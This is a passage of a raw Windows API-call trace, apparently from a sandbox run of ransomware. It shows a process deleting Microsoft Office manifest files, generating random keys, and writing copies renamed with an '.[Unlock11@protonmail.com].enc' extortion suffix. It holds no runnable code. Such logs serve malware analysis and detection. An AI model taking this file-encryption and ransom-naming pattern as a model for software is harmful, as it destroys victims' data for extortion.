GetLastError () returned 0x0 [0134.675] GetLastError () returned 0x0 [0134.676] GetCurrentThreadId () returned 0x9b0 [0134.676] GetLastError () returned 0x0 [0134.676] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0134.676] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0134.676] GetLastError () returned 0x0 [0134.677] GetLastError () returned 0x0 [0134.677] GetCurrentThreadId () returned 0x9b0 [0134.677] GetLastError () returned 0x0 [0134.677] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.677] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6748 [0134.677] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6638 | out: hHeap=0x2ad0000) returned 1 [0134.677] GetCurrentThreadId () returned 0x9b0 [0134.678] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0134.678] GetLastError () returned 0x0 [0134.678] GetLastError () returned 0x0 [0134.678] GetLastError () returned 0x0 [0134.678] GetLastError () returned 0x0 [0134.678] GetCurrentThreadId () returned 0x9b0 [0134.678] GetLastError () returned 0x0 [0134.678] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.679] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0134.679] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0134.679] GetLastError () returned 0x0 [0134.680] GetLastError () returned 0x0 [0134.680] GetCurrentThreadId () returned 0x9b0 [0134.680] GetLastError () returned 0x0 [0134.680] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0134.680] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0134.680] GetLastError () returned 0x0 [0134.680] GetLastError () returned 0x0 [0134.682] GetCurrentThreadId () returned 0x9b0 [0134.682] GetLastError () returned 0x0 [0134.682] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0134.682] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6598 [0134.682] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6748 | out: hHeap=0x2ad0000) returned 1 [0134.682] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0134.682] GetCurrentThreadId () returned 0x9b0 [0134.682] GetLastError () returned 0x0 [0134.683] GetLastError () returned 0x0 [0134.683] GetLastError () returned 0x0 [0134.683] GetLastError () returned 0x0 [0134.683] GetCurrentThreadId () returned 0x9b0 [0134.683] GetLastError () returned 0x0 [0134.683] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0134.683] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0134.683] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0134.683] GetLastError () returned 0x0 [0134.684] GetLastError () returned 0x0 [0134.684] GetCurrentThreadId () returned 0x9b0 [0134.685] GetLastError () returned 0x0 [0134.685] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0134.685] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0134.685] GetLastError () returned 0x0 [0134.685] GetLastError () returned 0x0 [0134.686] GetCurrentThreadId () returned 0x9b0 [0134.686] GetLastError () returned 0x0 [0134.686] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.686] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d65e8 [0134.686] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6598 | out: hHeap=0x2ad0000) returned 1 [0134.686] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0134.686] GetCurrentThreadId () returned 0x9b0 [0134.686] GetLastError () returned 0x0 [0134.687] GetLastError () returned 0x0 [0134.687] GetLastError () returned 0x0 [0134.687] GetLastError () returned 0x0 [0134.687] GetCurrentThreadId () returned 0x9b0 [0134.687] GetLastError () returned 0x0 [0134.687] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.687] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0134.687] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0134.687] GetLastError () returned 0x0 [0134.688] GetLastError () returned 0x0 [0134.688] GetCurrentThreadId () returned 0x9b0 [0134.689] GetLastError () returned 0x0 [0134.689] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0134.689] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0134.689] GetLastError () returned 0x0 [0134.689] GetLastError () returned 0x0 [0134.690] GetCurrentThreadId () returned 0x9b0 [0134.690] GetLastError () returned 0x0 [0134.691] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0134.691] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6638 [0134.691] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d65e8 | out: hHeap=0x2ad0000) returned 1 [0134.691] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0134.691] GetCurrentThreadId () returned 0x9b0 [0134.691] GetLastError () returned 0x0 [0134.691] GetLastError () returned 0x0 [0134.691] GetLastError () returned 0x0 [0134.691] GetLastError () returned 0x0 [0134.692] GetCurrentThreadId () returned 0x9b0 [0134.692] GetLastError () returned 0x0 [0134.692] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0134.692] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0134.692] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0134.692] GetLastError () returned 0x0 [0134.693] GetLastError () returned 0x0 [0134.694] GetCurrentThreadId () returned 0x9b0 [0134.694] GetLastError () returned 0x0 [0134.694] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0134.694] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0134.694] GetLastError () returned 0x0 [0134.694] GetLastError () returned 0x0 [0134.694] GetCurrentThreadId () returned 0x9b0 [0134.694] GetLastError () returned 0x0 [0134.695] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.695] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6748 [0134.695] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6638 | out: hHeap=0x2ad0000) returned 1 [0134.695] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0134.695] GetCurrentThreadId () returned 0x9b0 [0134.695] GetLastError () returned 0x0 [0134.695] GetLastError () returned 0x0 [0134.695] GetLastError () returned 0x0 [0134.695] GetLastError () returned 0x0 [0134.695] GetCurrentThreadId () returned 0x9b0 [0134.696] GetLastError () returned 0x0 [0134.696] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.696] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0134.696] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0134.696] GetLastError () returned 0x0 [0134.697] GetLastError () returned 0x0 [0134.697] GetCurrentThreadId () returned 0x9b0 [0134.697] GetLastError () returned 0x0 [0134.697] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0134.697] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0134.697] GetLastError () returned 0x0 [0134.697] GetLastError () returned 0x0 [0134.697] GetCurrentThreadId () returned 0x9b0 [0134.698] GetLastError () returned 0x0 [0134.698] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0134.698] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6638 [0134.698] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6748 | out: hHeap=0x2ad0000) returned 1 [0134.698] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0134.698] GetCurrentThreadId () returned 0x9b0 [0134.698] GetLastError () returned 0x0 [0134.698] GetLastError () returned 0x0 [0134.699] GetLastError () returned 0x0 [0134.699] GetLastError () returned 0x0 [0134.699] GetCurrentThreadId () returned 0x9b0 [0134.699] GetLastError () returned 0x0 [0134.699] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0134.699] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0134.699] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0134.699] GetLastError () returned 0x0 [0134.700] GetLastError () returned 0x0 [0134.700] GetCurrentThreadId () returned 0x9b0 [0134.700] GetLastError () returned 0x0 [0134.700] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0134.700] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0134.701] GetLastError () returned 0x0 [0134.701] GetLastError () returned 0x0 [0134.701] GetCurrentThreadId () returned 0x9b0 [0134.701] GetLastError () returned 0x0 [0134.701] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.701] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6748 [0134.701] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6638 | out: hHeap=0x2ad0000) returned 1 [0134.701] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0134.701] GetCurrentThreadId () returned 0x9b0 [0134.701] GetLastError () returned 0x0 [0134.702] GetLastError () returned 0x0 [0134.702] GetLastError () returned 0x0 [0134.702] GetLastError () returned 0x0 [0134.702] GetCurrentThreadId () returned 0x9b0 [0134.702] GetLastError () returned 0x0 [0134.702] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.702] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881090 [0134.702] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0134.702] GetLastError () returned 0x0 [0134.703] GetLastError () returned 0x0 [0134.703] GetCurrentThreadId () returned 0x9b0 [0134.703] GetLastError () returned 0x0 [0134.704] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0134.704] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0134.704] GetLastError () returned 0x0 [0134.704] GetLastError () returned 0x0 [0134.704] GetCurrentThreadId () returned 0x9b0 [0134.704] GetLastError () returned 0x0 [0134.704] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0134.704] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0xe75) returned 0x36f8548 [0134.704] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d65e8 [0134.704] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6748 | out: hHeap=0x2ad0000) returned 1 [0134.704] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xe78) returned 0x35ba9e0 [0134.705] GetLastError () returned 0x0 [0134.705] GetLastError () returned 0x0 [0134.705] GetLastError () returned 0x0 [0134.705] GetLastError () returned 0x0 [0134.705] GetCurrentThreadId () returned 0x9b0 [0134.705] GetLastError () returned 0x0 [0134.705] GetCurrentThreadId () returned 0x9b0 [0134.705] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xe75) returned 0x31d0338 [0134.705] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35ba9e0 | out: hHeap=0x2ad0000) returned 1 [0134.705] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0134.705] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0134.706] GetLastError () returned 0x0 [0134.706] GetLastError () returned 0x0 [0134.706] GetCurrentThreadId () returned 0x9b0 [0134.706] GetLastError () returned 0x0 [0134.706] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d0338 | out: hHeap=0x2ad0000) returned 1 [0134.706] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f93c8 [0134.706] GetLastError () returned 0x0 [0134.706] GetLastError () returned 0x0 [0134.706] GetCurrentThreadId () returned 0x9b0 [0134.706] GetLastError () returned 0x0 [0134.706] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f93c8 | out: hHeap=0x2ad0000) returned 1 [0134.707] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.707] GetLastError () returned 0x0 [0134.707] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0134.708] CloseHandle (hObject=0x3ac) returned 1 [0134.708] GetLastError () returned 0x0 [0134.708] GetCurrentThreadId () returned 0x9b0 [0134.708] GetLastError () returned 0x0 [0134.708] GetLastError () returned 0x0 [0134.709] CloseHandle (hObject=0x39c) returned 1 [0134.709] GetLastError () returned 0x0 [0134.709] GetCurrentThreadId () returned 0x9b0 [0134.709] GetLastError () returned 0x0 [0134.709] GetLastError () returned 0x0 [0134.709] GetLastError () returned 0x0 [0134.709] GetLastError () returned 0x0 [0134.709] GetLastError () returned 0x0 [0134.709] DeleteFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml")) returned 1 [0134.714] GetLastError () returned 0x0 [0134.714] GetCurrentThreadId () returned 0x9b0 [0134.714] GetLastError () returned 0x0 [0134.714] GetLastError () returned 0x0 [0134.715] GetLastError () returned 0x0 [0134.715] GetLastError () returned 0x0 [0134.715] GetLastError () returned 0x0 [0134.715] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml", lpFilePart=0x9bada4*="AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 0x68 [0134.715] GetCurrentThreadId () returned 0x9b0 [0134.715] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0134.715] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0134.715] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0134.715] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0134.715] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028558 [0134.715] GetCurrentThreadId () returned 0x9b0 [0134.716] GetLastError () returned 0x0 [0134.716] GetLastError () returned 0x0 [0134.716] GetLastError () returned 0x0 [0134.716] GetLastError () returned 0x0 [0134.716] GetCurrentThreadId () returned 0x9b0 [0134.716] GetLastError () returned 0x0 [0134.716] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028558 | out: hHeap=0x2ad0000) returned 1 [0134.716] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028558 [0134.716] GetLastError () returned 0x0 [0134.716] GetLastError () returned 0x0 [0134.717] GetLastError () returned 0x0 [0134.717] GetLastError () returned 0x0 [0134.717] GetCurrentThreadId () returned 0x9b0 [0134.717] GetLastError () returned 0x0 [0134.717] GetLastError () returned 0x0 [0134.717] GetLastError () returned 0x0 [0134.717] GetLastError () returned 0x0 [0134.717] GetLastError () returned 0x0 [0134.717] GetCurrentThreadId () returned 0x9b0 [0134.717] GetLastError () returned 0x0 [0134.717] GetCurrentThreadId () returned 0x9b0 [0134.717] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028558 | out: hHeap=0x2ad0000) returned 1 [0134.718] GetLastError () returned 0x0 [0134.718] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d62d0 | out: hHeap=0x2ad0000) returned 1 [0134.718] GetLastError () returned 0x0 [0134.718] GetLastError () returned 0x0 [0134.718] GetLastError () returned 0x0 [0134.718] GetCurrentThreadId () returned 0x9b0 [0134.718] GetLastError () returned 0x0 [0134.718] GetLastError () returned 0x0 [0134.718] GetLastError () returned 0x0 [0134.718] GetLastError () returned 0x0 [0134.718] GetLastError () returned 0x0 [0134.719] GetCurrentThreadId () returned 0x9b0 [0134.719] GetLastError () returned 0x0 [0134.719] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a8a8 | out: hHeap=0x2ad0000) returned 1 [0134.719] GetLastError () returned 0x0 [0134.719] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x2ad0000) returned 1 [0134.719] GetLastError () returned 0x0 [0134.719] GetLastError () returned 0x0 [0134.719] GetLastError () returned 0x0 [0134.719] GetCurrentThreadId () returned 0x9b0 [0134.719] GetLastError () returned 0x0 [0134.719] GetLastError () returned 0x0 [0134.720] GetLastError () returned 0x0 [0134.720] GetLastError () returned 0x0 [0134.720] GetLastError () returned 0x0 [0134.720] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0134.720] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed)) returned 1 [0134.720] GetLastError () returned 0x0 [0134.720] GetCurrentThreadId () returned 0x9b0 [0134.720] GetLastError () returned 0x0 [0134.720] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6078 | out: hHeap=0x2ad0000) returned 1 [0134.720] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b034 | out: pbBuffer=0x366b034) returned 1 [0134.721] GetCurrentThreadId () returned 0x9b0 [0134.721] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0134.721] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a37d0 [0134.721] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0134.721] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028558 [0134.721] GetLastError () returned 0x0 [0134.721] GetLastError () returned 0x0 [0134.721] GetLastError () returned 0x0 [0134.721] GetLastError () returned 0x0 [0134.721] GetCurrentThreadId () returned 0x9b0 [0134.721] GetLastError () returned 0x0 [0134.722] GetCurrentThreadId () returned 0x9b0 [0134.722] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028558 | out: hHeap=0x2ad0000) returned 1 [0134.722] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x30282d8 [0134.722] GetLastError () returned 0x0 [0134.722] GetLastError () returned 0x0 [0134.722] GetLastError () returned 0x0 [0134.722] GetLastError () returned 0x0 [0134.722] GetCurrentThreadId () returned 0x9b0 [0134.722] GetLastError () returned 0x0 [0134.722] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30282d8 | out: hHeap=0x2ad0000) returned 1 [0134.722] GetCurrentThreadId () returned 0x9b0 [0134.723] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x35d6598 [0134.723] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a37d0 | out: hHeap=0x2ad0000) returned 1 [0134.723] GetLastError () returned 0x0 [0134.723] GetLastError () returned 0x0 [0134.723] GetLastError () returned 0x0 [0134.723] GetLastError () returned 0x0 [0134.723] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0134.723] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d6748 [0134.723] GetLastError () returned 0x0 [0134.723] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0134.724] GetFileType (hFile=0x39c) returned 0x1 [0134.724] GetLastError () returned 0x0 [0134.724] GetCurrentThreadId () returned 0x9b0 [0134.724] GetLastError () returned 0x0 [0134.724] GetFileType (hFile=0x39c) returned 0x1 [0134.724] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.724] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.724] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.725] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.725] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.725] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.725] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.725] GetLastError () returned 0x0 [0134.725] GetCurrentThreadId () returned 0x9b0 [0134.725] GetLastError () returned 0x0 [0134.725] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6748 | out: hHeap=0x2ad0000) returned 1 [0134.725] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d63c0 | out: hHeap=0x2ad0000) returned 1 [0134.725] GetLastError () returned 0x0 [0134.725] GetLastError () returned 0x0 [0134.725] GetLastError () returned 0x0 [0134.726] GetLastError () returned 0x0 [0134.726] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0134.726] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d6748 [0134.726] GetLastError () returned 0x0 [0134.726] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0134.726] GetFileType (hFile=0x3ac) returned 0x1 [0134.726] GetLastError () returned 0x0 [0134.726] GetCurrentThreadId () returned 0x9b0 [0134.727] GetLastError () returned 0x0 [0134.727] GetFileType (hFile=0x3ac) returned 0x1 [0134.727] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.727] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.727] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.727] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.727] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.727] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.727] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.727] GetLastError () returned 0x0 [0134.727] GetCurrentThreadId () returned 0x9b0 [0134.727] GetLastError () returned 0x0 [0134.728] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6748 | out: hHeap=0x2ad0000) returned 1 [0134.728] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cf478 | out: hHeap=0x2ad0000) returned 1 [0134.728] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0134.728] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0134.728] GetLastError () returned 0x0 [0134.728] GetLastError () returned 0x0 [0134.728] GetCurrentThreadId () returned 0x9b0 [0134.728] GetLastError () returned 0x0 [0134.728] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0134.728] GetLastError () returned 0x0 [0134.728] GetLastError () returned 0x0 [0134.729] GetCurrentThreadId () returned 0x9b0 [0134.729] GetLastError () returned 0x0 [0134.729] GetLastError () returned 0x0 [0134.730] GetLastError () returned 0x0 [0134.730] GetCurrentThreadId () returned 0x9b0 [0134.730] GetLastError () returned 0x0 [0134.731] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6598 | out: hHeap=0x2ad0000) returned 1 [0134.731] 